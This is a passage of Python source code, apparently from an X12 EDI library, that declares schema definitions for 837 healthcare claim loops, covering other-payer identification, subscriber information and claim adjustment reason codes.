data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'350',desc=u'Claim Adjudication Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'573'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'355',desc=u'Other Payer Secondary Identification and Reference Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'2U', u'F8', u'FY', u'NF', u'TJ'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'355',desc=u'Other Payer Prior Authorization or Referral Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9F', u'G1'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330C = Loop( u'2330C', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Patient Information'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Patient Information'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'QC'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'EI', u'MI'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'355',desc=u'Other Payer identification Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1W', u'IG', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330D = Loop( u'2330D', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Attending Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Attending Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'71'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Attending Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330E = Loop( u'2330E', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Operating Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Operating Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'72'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Operating Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330F = Loop( u'2330F', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Other Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Other Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'73'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Other Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330H = Loop( u'2330H', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Service Facility Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Service Facility Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'FA'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Service Facility Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1B', u'1C', u'1D', u'EI', u'G2', u'LU', u'N5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2320 = Loop( u'2320', Properties(looptype='',repeat=u'10',pos=u'290',req_sit=u'S',desc=u'Other Subscriber Information'), Segment( u'SBR', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'290',desc=u'Other Subscriber Information'), Element( u'SBR01', Properties(desc=u'Payer Responsibility Sequence Number Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=1, codes=[u'P', u'S', u'T'] ) ), Element( u'SBR02', Properties(desc=u'Individual Relationship Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[u'01', u'04', u'05', u'07', u'10', u'15', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'29', u'32', u'33', u'36', u'39', u'40', u'41', u'43', u'53', u'G8'] ) ), Element( u'SBR03', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'SBR04', Properties(desc=u'Name', req_sit=u'S', data_type=(u'AN',u'1',u'60'), position=4, codes=[] ) ), Element( u'SBR05', Properties(desc=u'Insurance Type Code', req_sit=u'N', data_type=(u'ID',u'1',u'3'), position=5, codes=[] ) ), Element( u'SBR06', Properties(desc=u'Coordination of Benefits Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=6, codes=[] ) ), Element( u'SBR07', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=7, codes=[] ) ), Element( u'SBR08', Properties(desc=u'Employment Status Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=8, codes=[] ) ), Element( u'SBR09', Properties(desc=u'Claim Filing Indicator Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=9, codes=[u'09', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'AM', u'BL', u'CH', u'CI', u'DS', u'HM', u'LI', u'LM', u'MA', u'MB', u'MC', u'OF', u'TV', u'VA', u'WC', u'ZZ'] ) ), ), Segment( u'CAS', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'295',desc=u'Claim Level Adjustment'), Element( u'CAS01', Properties(desc=u'Claim Adjustment Group Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=1, codes=[u'CO', u'CR', u'OA', u'PI', u'PR'] ) ), Element( u'CAS02', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'R', data_type=(u'ID',u'1',u'5'), position=2, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS03', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'CAS04', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'CAS05', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=5, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS06', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=6, codes=[] ) ), Element( u'CAS07', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'CAS08', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=8, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), Element( u'CAS10', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'CAS11', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=11, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS12', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=12, codes=[] ) ), Element( u'CAS13', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'CAS14', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=14, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS15', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=15, codes=[] ) ), Element( u'CAS16', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=16, codes=[] ) ), Element( u'CAS17', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=17, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS18', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=18, codes=[] ) ), Element( u'CAS19', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=19, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Payer Prior Payment'), Element( u'AMT01', Properties(desc=u'Amount 